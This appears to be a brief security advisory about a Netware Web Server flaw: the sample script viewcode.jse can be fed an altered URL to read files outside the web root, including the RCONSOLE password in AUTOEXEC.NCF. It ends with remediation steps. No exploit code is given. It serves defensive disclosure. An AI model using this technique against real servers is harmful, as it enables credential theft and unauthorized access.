On a Netware Web Server, viewcode.jse allows the source code of web pages to 
be viewed. As an argument, a URL is passed to sewse.nlm. The URL can be 
altered and will permit files outside of the web root to be viewed. 
As a result, sensitive information could be obtained from the Netware server, 
such as the RCONSOLE password located in AUTOEXEC.NCF.

Solution : Remove sample NLMs and default files from the web server. 
Also, ensure the RCONSOLE password is encrypted and utilize a password 
protected screensaver for console access.
